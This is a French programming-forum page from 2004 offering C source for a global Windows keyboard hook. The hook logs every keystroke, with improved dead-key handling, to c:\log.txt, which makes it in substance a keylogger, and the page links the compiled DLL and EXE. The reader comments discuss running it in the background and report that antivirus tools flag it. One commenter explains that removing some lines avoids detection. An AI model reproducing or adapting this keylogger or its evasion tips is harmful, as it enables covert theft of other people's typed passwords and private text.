Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

[HOOK CLAVIER] FICHIER TEXTE AVEC GESTION DES DEAD KEYS [DEV-C++ 4.9.8.10]


Information sur la source

Catégorie :Système Niveau : Expert Date de création : 30/07/2004 Date de mise à jour : 30/07/2004 22:47:54 Vu / téléchargé: 8 214 / 1 089

Note :
10 / 10 - par 2 personnes
10,00 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10

Commentaire sur cette source (20)
Ajouter un commentaire et/ou une note

Description

On trouve pas mal de code source sur Internet pour un hook clavier global sous Windows. La fonction SetWindowsHookEx est plutôt bien détaillée.

Malheureusement, je n'ai trouvé aucun hook qui gère les DEAD KEY. Il s'agit des touches qu'on doit combiner avec une autre, comme les accents circonflexes, les tremas, etc ... pour ne former qu'un caractère.

Avec un hook clavier traditionnel, en tapant "^" puis "e" dans une application comme le Notepad, j'obtenais soit "^^e", soit "e". Par contre, dans le fichier log, j'obtenais souvent "ê".

L'erreur vient de la fonction ToAscii, largement utilisée avec les hooks clavier, pour traduire un nombre en un caractère (caractère qu'on écrit ensuite dans un fichier texte). Cette fonction bug royalement lorsqu'il s'agit de gérer les DEAD KEY.

La solution que je propose est de savoir si le caractère qu'on traite est un DEAD KEY. Si c'est le cas, on ne doit pas faire d'appel à la fonction ToAscii, mais plutôt à une fonction équivalente : GetKeyNameText (elle ne gère pas les minuscules).

Je propose un extrait du code. Le zip contient la DLL (je crois que c'est indispensable pour un hook global) et l'EXE pour l'utiliser.
 

Source

  • //------------------------------------------------------------------------------
  • // Retourne 0 si le caractère est un DEAD CHAR (accent circonflexe, trema, etc ...)
  • //------------------------------------------------------------------------------
  • BOOL is_dead_key ( int wparam )
  • {
  • unsigned int code = MapVirtualKey ( wparam, 2 );
  • // Windows 95 retourne 0x8000, NT retourne 0x80000000
  • return (code & 0x80008000) ? TRUE : FALSE;
  • }
  • //------------------------------------------------------------------------------
  • // Fonctions executée lorsqu'on appuie sur une touche
  • //------------------------------------------------------------------------------
  • // lParam est composé de 32 bits (de 31 à 0) :
  • // touche appuyée : bit 31 [FALSE] bit 30 [FALSE]
  • // touche maintenue : bit 31 [FALSE] bit 30 [TRUE]
  • // touche relachée : bit 31 [TRUE] bit 30 [TRUE]
  • // scancode : bit 23 au bit 16 inclus
  • //------------------------------------------------------------------------------
  • LRESULT CALLBACK KeyboardProc ( int nCode,WPARAM wParam,LPARAM lParam )
  • {
  • BYTE KeyState[256]; // Etat des 256 touches du clavier
  • static BOOL deadkey; // Est-ce qu'on a traité une DEAD KEY
  • WORD Char=0; // Buffer pour la traduction de la touche (ToAscii)
  • char nomTouche[256]; // Buffer pour la traduction de la touche (GetKeyNameText)
  • // On ne fait rien dans ce cas (cf aide API)
  • if ( nCode < 0 || nCode == HC_NOREMOVE )
  • return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
  • // Pour éviter les répétitions
  • // Bit 30 : Spécifie l'état précédent de la touche (si TRUE, on passe notre chemin)
  • if ( ((DWORD)lParam & 1<<30) != FALSE )
  • return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
  • // Si c'est une DEAD KEY, on passe notre chemin
  • if ( is_dead_key ( (UINT) wParam ) )
  • {
  • deadkey = TRUE;
  • myfprintf ( "[DK]" );
  • return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
  • }
  • switch(wParam)
  • {
  • case VK_BACK : myfprintf ( "[BKSP]" ); break; // 0x08
  • case VK_TAB : myfprintf ( "[TAB]" ); break; // 0x09
  • case VK_RETURN : myfprintf ( "[ENTER]\r\n" );break; // 0x0D
  • case VK_SHIFT : break; // 0x10
  • case VK_CONTROL : myfprintf ( "[CTRL]" ); break; // 0x11
  • case VK_MENU : myfprintf ( "[ALT]" ); break; // 0x12
  • case VK_PAUSE : myfprintf ( "[PAUSE]" ); break; // 0x13
  • case VK_CAPITAL : break; // 0x14
  • case VK_ESCAPE : break; // 0x1B
  • case VK_PRIOR : myfprintf ( "[PGUP]" ); break; // 0x21
  • case VK_NEXT : myfprintf ( "[PGDN]" ); break; // 0x22
  • case VK_END : myfprintf ( "[END]" ); break; // 0x23
  • case VK_HOME : myfprintf ( "[HOME]" ); break; // 0x24
  • case VK_LEFT : myfprintf ( "[LEFT]" ); break; // 0x25
  • case VK_UP : myfprintf ( "[UP]" ); break; // 0x26
  • case VK_RIGHT : myfprintf ( "[RIGHT]" ); break; // 0x27
  • case VK_DOWN : myfprintf ( "[DOWN]" ); break; // 0x28
  • case VK_SNAPSHOT: myfprintf ( "[SNAP]" ); break; // 0x2C
  • case VK_INSERT : break; // 0x2D
  • case VK_DELETE : myfprintf ( "[DEL]" ); break; // 0x2E
  • case VK_LWIN : myfprintf ( "[LWIN]" ); break; // 0x5B
  • case VK_RWIN : myfprintf ( "[RWIN]" ); break; // 0x5C
  • case VK_APPS : myfprintf ( "[APPS]" ); break; // 0x5D
  • case VK_NUMPAD0 : myfprintf ( "[NUM0]" ); break; // 0x60
  • case VK_NUMPAD1 : myfprintf ( "[NUM1]" ); break; // 0x61
  • case VK_NUMPAD2 : myfprintf ( "[NUM2]" ); break; // 0x62
  • case VK_NUMPAD3 : myfprintf ( "[NUM3]" ); break; // 0x63
  • case VK_NUMPAD4 : myfprintf ( "[NUM4]" ); break; // 0x64
  • case VK_NUMPAD5 : myfprintf ( "[NUM5]" ); break; // 0x65
  • case VK_NUMPAD6 : myfprintf ( "[NUM6]" ); break; // 0x66
  • case VK_NUMPAD7 : myfprintf ( "[NUM7]" ); break; // 0x67
  • case VK_NUMPAD8 : myfprintf ( "[NUM8]" ); break; // 0x68
  • case VK_NUMPAD9 : myfprintf ( "[NUM9]" ); break; // 0x69
  • case VK_MULTIPLY: myfprintf ( "*" ); break; // 0x6A
  • case VK_ADD : myfprintf ( "+" ); break; // 0x6B
  • case VK_SUBTRACT: myfprintf ( "-" ); break; // 0x6D
  • case VK_DECIMAL : myfprintf ( "." ); break; // 0x6E
  • case VK_DIVIDE : myfprintf ( "/" ); break; // 0x06
  • case VK_F1 : myfprintf ( "[F1]" ); break; // 0x70
  • case VK_F2 : myfprintf ( "[F2]" ); break; // 0x71
  • case VK_F3 : myfprintf ( "[F3]" ); break; // 0x72
  • case VK_F4 : myfprintf ( "[F4]" ); break; // 0x73
  • case VK_F5 : myfprintf ( "[F5]" ); break; // 0x74
  • case VK_F6 : myfprintf ( "[F6]" ); break; // 0x75
  • case VK_F7 : myfprintf ( "[F7]" ); break; // 0x76
  • case VK_F8 : myfprintf ( "[F8]" ); break; // 0x77
  • case VK_F9 : myfprintf ( "[F9]" ); break; // 0x78
  • case VK_F10 : myfprintf ( "[F10]" ); break; // 0x79
  • case VK_F11 : myfprintf ( "[F11]" ); break; // 0x7A
  • case VK_F12 : myfprintf ( "[F12]" ); break; // 0x7B
  • case VK_F13 : myfprintf ( "[F13]" ); break; // 0x7C
  • case VK_F14 : myfprintf ( "[F14]" ); break; // 0x7D
  • case VK_F15 : myfprintf ( "[F15]" ); break; // 0x7E
  • case VK_F16 : myfprintf ( "[F16]" ); break; // 0x7F
  • case VK_F17 : myfprintf ( "[F17]" ); break; // 0x80
  • case VK_F18 : myfprintf ( "[F18]" ); break; // 0x81
  • case VK_F19 : myfprintf ( "[F19]" ); break; // 0x82
  • case VK_F20 : myfprintf ( "[F20]" ); break; // 0x83
  • case VK_F21 : myfprintf ( "[F21]" ); break; // 0x84
  • case VK_F22 : myfprintf ( "[F22]" ); break; // 0x85
  • case VK_F23 : myfprintf ( "[F23]" ); break; // 0x86
  • case VK_F24 : myfprintf ( "[F24]" ); break; // 0x87
  • case VK_NUMLOCK : break; // 0x90
  • case VK_ATTN : break; // 0xF6
  • default:
  • // On réinitialise notre tableau
  • memset ( KeyState, 0, sizeof(KeyState) );
  • if ( GetKeyboardState ( KeyState ) )
  • {
  • // ce n'est pas une DEAD KEY, on peut utiliser ToAscii
  • if ( !deadkey )
  • {
  • ToAscii ( (UINT) wParam, (UINT) ((lParam << 8 ) >> 24), KeyState, &Char, 0 );
  • myfprintf ( &Char );
  • }
  • // sinon, on doit utiliser autre chose !
  • else
  • {
  • GetKeyNameText ( lParam, nomTouche, 256 );
  • myfprintf ( nomTouche );
  • deadkey = FALSE;
  • }
  • }
  • break;
  • }
  • return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
  • }
//------------------------------------------------------------------------------
// Retourne 0 si le caractère est un DEAD CHAR (accent circonflexe, trema, etc ...)
//------------------------------------------------------------------------------

BOOL is_dead_key ( int wparam )
{
    unsigned int code = MapVirtualKey ( wparam, 2 );

    // Windows 95 retourne 0x8000, NT retourne 0x80000000
    return (code & 0x80008000) ? TRUE : FALSE;
}

//------------------------------------------------------------------------------
// Fonctions executée lorsqu'on appuie sur une touche
//------------------------------------------------------------------------------
// lParam est composé de 32 bits (de 31 à 0) :
// touche appuyée   : bit 31 [FALSE] bit 30 [FALSE]
// touche maintenue : bit 31 [FALSE] bit 30 [TRUE]
// touche relachée  : bit 31 [TRUE]  bit 30 [TRUE]
// scancode         : bit 23 au bit 16 inclus
//------------------------------------------------------------------------------

LRESULT CALLBACK KeyboardProc ( int nCode,WPARAM wParam,LPARAM lParam )
{
    BYTE KeyState[256];                 // Etat des 256 touches du clavier
    static BOOL deadkey;                // Est-ce qu'on a traité une DEAD KEY
    WORD Char=0;                        // Buffer pour la traduction de la touche (ToAscii)
    char nomTouche[256];                // Buffer pour la traduction de la touche (GetKeyNameText)

    // On ne fait rien dans ce cas (cf aide API)
    if ( nCode < 0 || nCode == HC_NOREMOVE )
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );

    // Pour éviter les répétitions
    // Bit 30 : Spécifie l'état précédent de la touche (si TRUE, on passe notre chemin)
    if ( ((DWORD)lParam & 1<<30) != FALSE )
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
        
    // Si c'est une DEAD KEY, on passe notre chemin
    if ( is_dead_key ( (UINT) wParam ) )
    {
        deadkey = TRUE;
        myfprintf ( "[DK]" );
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
    }

    switch(wParam)
    {
    case VK_BACK    : myfprintf ( "[BKSP]" );   break;  // 0x08
    case VK_TAB     : myfprintf ( "[TAB]" );    break;  // 0x09
    case VK_RETURN  : myfprintf ( "[ENTER]\r\n" );break;  // 0x0D
    case VK_SHIFT   :                           break;  // 0x10
    case VK_CONTROL : myfprintf ( "[CTRL]" );   break;  // 0x11
    case VK_MENU    : myfprintf ( "[ALT]" );    break;  // 0x12
    case VK_PAUSE   : myfprintf ( "[PAUSE]" );  break;  // 0x13
    case VK_CAPITAL :                           break;  // 0x14
    case VK_ESCAPE  :                           break;  // 0x1B
    case VK_PRIOR   : myfprintf ( "[PGUP]" );   break;  // 0x21
    case VK_NEXT    : myfprintf ( "[PGDN]" );   break;  // 0x22
    case VK_END     : myfprintf ( "[END]" );    break;  // 0x23
    case VK_HOME    : myfprintf ( "[HOME]" );   break;  // 0x24
    case VK_LEFT    : myfprintf ( "[LEFT]" );   break;  // 0x25
    case VK_UP      : myfprintf ( "[UP]" );     break;  // 0x26
    case VK_RIGHT   : myfprintf ( "[RIGHT]" );  break;  // 0x27
    case VK_DOWN    : myfprintf ( "[DOWN]" );   break;  // 0x28
    case VK_SNAPSHOT: myfprintf ( "[SNAP]" );   break;  // 0x2C
    case VK_INSERT  :                           break;  // 0x2D
    case VK_DELETE  : myfprintf ( "[DEL]" );    break;  // 0x2E
    case VK_LWIN    : myfprintf ( "[LWIN]" );   break;  // 0x5B
    case VK_RWIN    : myfprintf ( "[RWIN]" );   break;  // 0x5C
    case VK_APPS    : myfprintf ( "[APPS]" );   break;  // 0x5D
    case VK_NUMPAD0 : myfprintf ( "[NUM0]" );   break;  // 0x60
    case VK_NUMPAD1 : myfprintf ( "[NUM1]" );   break;  // 0x61
    case VK_NUMPAD2 : myfprintf ( "[NUM2]" );   break;  // 0x62
    case VK_NUMPAD3 : myfprintf ( "[NUM3]" );   break;  // 0x63
    case VK_NUMPAD4 : myfprintf ( "[NUM4]" );   break;  // 0x64
    case VK_NUMPAD5 : myfprintf ( "[NUM5]" );   break;  // 0x65
    case VK_NUMPAD6 : myfprintf ( "[NUM6]" );   break;  // 0x66
    case VK_NUMPAD7 : myfprintf ( "[NUM7]" );   break;  // 0x67
    case VK_NUMPAD8 : myfprintf ( "[NUM8]" );   break;  // 0x68
    case VK_NUMPAD9 : myfprintf ( "[NUM9]" );   break;  // 0x69
    case VK_MULTIPLY: myfprintf ( "*" );        break;  // 0x6A
    case VK_ADD     : myfprintf ( "+" );        break;  // 0x6B
    case VK_SUBTRACT: myfprintf ( "-" );        break;  // 0x6D
    case VK_DECIMAL : myfprintf ( "." );        break;  // 0x6E
    case VK_DIVIDE  : myfprintf ( "/" );        break;  // 0x06
    case VK_F1      : myfprintf ( "[F1]" );     break;  // 0x70
    case VK_F2      : myfprintf ( "[F2]" );     break;  // 0x71
    case VK_F3      : myfprintf ( "[F3]" );     break;  // 0x72
    case VK_F4      : myfprintf ( "[F4]" );     break;  // 0x73
    case VK_F5      : myfprintf ( "[F5]" );     break;  // 0x74
    case VK_F6      : myfprintf ( "[F6]" );     break;  // 0x75
    case VK_F7      : myfprintf ( "[F7]" );     break;  // 0x76
    case VK_F8      : myfprintf ( "[F8]" );     break;  // 0x77
    case VK_F9      : myfprintf ( "[F9]" );     break;  // 0x78
    case VK_F10     : myfprintf ( "[F10]" );    break;  // 0x79
    case VK_F11     : myfprintf ( "[F11]" );    break;  // 0x7A
    case VK_F12     : myfprintf ( "[F12]" );    break;  // 0x7B
    case VK_F13     : myfprintf ( "[F13]" );    break;  // 0x7C
    case VK_F14     : myfprintf ( "[F14]" );    break;  // 0x7D
    case VK_F15     : myfprintf ( "[F15]" );    break;  // 0x7E
    case VK_F16     : myfprintf ( "[F16]" );    break;  // 0x7F
    case VK_F17     : myfprintf ( "[F17]" );    break;  // 0x80
    case VK_F18     : myfprintf ( "[F18]" );    break;  // 0x81
    case VK_F19     : myfprintf ( "[F19]" );    break;  // 0x82
    case VK_F20     : myfprintf ( "[F20]" );    break;  // 0x83
    case VK_F21     : myfprintf ( "[F21]" );    break;  // 0x84
    case VK_F22     : myfprintf ( "[F22]" );    break;  // 0x85
    case VK_F23     : myfprintf ( "[F23]" );    break;  // 0x86
    case VK_F24     : myfprintf ( "[F24]" );    break;  // 0x87
    case VK_NUMLOCK :                           break;  // 0x90
    case VK_ATTN    :                           break;  // 0xF6
    default:
        // On réinitialise notre tableau
        memset ( KeyState, 0, sizeof(KeyState) );
        
        if ( GetKeyboardState ( KeyState ) )
        {
            // ce n'est pas une DEAD KEY, on peut utiliser ToAscii
            if ( !deadkey )
            {
                ToAscii ( (UINT) wParam, (UINT) ((lParam << 8 ) >> 24), KeyState, &Char, 0 );
                myfprintf ( &Char );
            }
            // sinon, on doit utiliser autre chose !
            else
            {
                GetKeyNameText ( lParam, nomTouche, 256 );
                myfprintf ( nomTouche );
                deadkey = FALSE;
            }
        }
        break;
    }

    return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
}

Conclusion

Si vous avez une solution alternative, je suis évidemment preneur !
Sachez qu'il crée un fichier texte là : c:\log.txt

belzel [dot] free [dot] fr
 

Fichier Zip

Pour les "Membres Club", vous pouvez télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip

Historique

30 juillet 2004 22:47:54 :
Quelques commentaires en plus. Quelques variables supprimées car non utilisées. Une mise à jour de WORD Char à 0 pour éviter quelques bugs d'écriture.

Commentaires et avis

signaler à un administrateur
Commentaire de LordBob le 31/07/2004 13:36:42

c'est quoi les dead keys?

signaler à un administrateur
Commentaire de BruNews le 01/08/2004 12:11:01 administrateur CS

code de touche qui devra etre combine avec un autre pour former un caractere fini.
Ex: touche accent ciconflexe ou trema.

signaler à un administrateur
Commentaire de BeLZeL le 02/08/2004 12:11:03

C'est le deuxième paragraphe d'intro :)

signaler à un administrateur
Commentaire de brenntengel le 30/09/2005 21:08:44

salut et permet moi de te dire Chapeau pour ce code
exellemnt travaille j'ai compris le programme
mais le probelme j'ai pas comrpris comment
tu as appelé la DLL a partir de la fonction main.
il n'ya rien qui montre comment ta fais ca
si tu as un tutorial sur le dll(utlisant la dllexport et dllimort ca serait vraiment sympa )
Merci et encore chapeau

signaler à un administrateur
Commentaire de Neomaster951 le 08/10/2005 16:03:29

Je suis débutant et hmm, je sais pas comment le mettre en arrière plan... Le fichier .exe contien seulement sa:

int main ()
{
    InitHook ( );
    system("PAUSE");
    EndHook ( );
    return 0;
}

Qu'est-ce que je devrais changer pour qu'il puisse rouler en arrière plan? Merci!

signaler à un administrateur
Commentaire de BeLZeL le 08/10/2005 16:59:25

Il faut que tu fasses ton propre EXE, qui se lance en arrière plan.

signaler à un administrateur
Commentaire de floche le 23/02/2006 21:31:20

petite question tres bete : ou trouver la librairie libhkb.a ?
merci encore pour cette source trés compréhensible

+++

signaler à un administrateur
Commentaire de floche le 24/02/2006 11:59:47

désolé j avais pas vu...

signaler à un administrateur
Commentaire de HeavenForsaker le 10/05/2006 00:16:12

Bonjour,

Corrigez moi si je me trompe, le type de variable unsigned int tiens sur 16bits, 0 à 65535 en decimal. Sous windows NT, le Et binaire entre une valeur 32bits(0x80000000) et une valeur 16bits(code) donnera toujours 0 non ?
De plus la fonction MapVirtualKey ne tiens pas compte des combinaisons de touche. Si je fais un AltGR + 'é' puis 'a' pour former 'ã', code renvoi 223(code de touche de la touche 'é').
En fait ça fonctionne que pour les Dead-Keys formées avec '^', mais pas pour les combinaisons AltGR + 'é' ou AltGR + 'è'.

Voila, merci de me corriger si je me suis planté. -:)

signaler à un administrateur
Commentaire de BruNews le 10/05/2006 00:50:53 administrateur CS

int est 32 bits.

signaler à un administrateur
Commentaire de HeavenForsaker le 10/05/2006 10:26:10

Ok merci BruNews c'est noté,
sinon je voulais savoir est ce qu'il y a une fonction pour assembler les Dead-Keys, si j'ai dans un buffer 2 caractères '^' et 'e', comment faire pour obtenir 'ê' ?

signaler à un administrateur
Commentaire de BruNews le 10/05/2006 10:38:40 administrateur CS

Fais la correspondance toi même dans ton code, sera plus rapide qu'un appel de fonction.

signaler à un administrateur
Commentaire de HeavenForsaker le 10/05/2006 12:00:22

Ok ça marche, merci man.

signaler à un administrateur
Commentaire de johanb le 19/05/2006 16:45:26

J'ai une léger probleme:
j'ai voulu faire un mix de ton code avec celui ne necessitant pas de dll (http://www.cppfrance.com/code.aspx?ID=27169)
Une seule ligne pose probleme: sous visual c++ j'ai l'erreur suivante à la compilation.

error C2664: 'strlen' : cannot convert parameter 1 from 'LPCVOID' to 'const char *'
        Conversion from 'void*' to pointer to non-'void' requires an explicit cast


est-ce que quelqu'un pourrait me dire comment résoudre le problème svp?

signaler à un administrateur
Commentaire de johanb le 19/05/2006 16:47:16

oops j'ai oublié de dire que la ligne concernée est:

WriteFile ( logfic, texte, strlen(texte), &taille, NULL );

dans la fonction myfprintf( LPCVOID texte )

signaler à un administrateur
Commentaire de BruNews le 19/05/2006 17:21:17 administrateur CS

Mets un cast strlen((const char*) texte)
un pointeur peut toujours être casté vers un autre type car ce sont tous de simples adresses 32 bits, par contre à toi de savoir si c'est cohérent sinon fera badaboum à l'exécution.

signaler à un administrateur
Commentaire de BeLZeL le 24/05/2006 20:53:27

lol, je connaissais pas la combinaison altgr + é puis a pour former ã ;)
Effectivement, pour les deadkey, je crois que j'ai juste géré les '^'

Si vous faites des mises à jour de ce code, n'hésitez pas à indiquer l'url ici, si vous l'avez posté sur CPPFrance. Moi ca m'intéresse en tout ca.

signaler à un administrateur
Commentaire de maladedede le 30/08/2006 14:50:29

LooO0O00L la vie est trés comique:
BeLZeL ton keylogger est détecté par les anti-virus^^ enfin le mien aussitot compilé la DLL AVG la supprime^^

signaler à un administrateur
Commentaire de Leptis le 28/02/2007 02:38:44

Quelqu'un pourait il me dire quelque est la fonction a appliquer pour faire passer les lettre contenus dans la vlariable texte dans un string, ou un tableau de char affichable par un printf()
Merci d'avance !!

signaler à un administrateur
Commentaire de mario2006 le 15/03/2007 02:33:41

Ce qui m'inquiéte c'est cette fameuse librairie libhkb.a
D'ou vient elle et que contient-elle? Et je ne vois pas ce qu'elle apporte au code.
Sinon pour la reconnaisance de la dll en tant que virus (trojan d'ailleurs..) en commentant quelques une des lignes du code qui ne son pas indispensable (celles avec les VK_TRUC) c'est bon.

Ajouter un commentaire



Nos sponsors

Sondage...

CalendriCode

Octobre 2008
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
2728293031  

Consulter la suite du CalendriCode



Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel BAÏSE, Merci à Vincent pour ses précieux conseils
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés
Temps d'éxécution de la page : 0,140 sec

Google Coop CodeS-SourceS Google Coop CodeS-SourceS


Certaines images présentes sur le site (notament certains avatars) sont issues des collections IconShock, donc si vous souhaitez utiliser ces icons vous devez les acheter, ne les copiez pas et ne utilisez pas dans vos sites et applications sans les avoir commandé.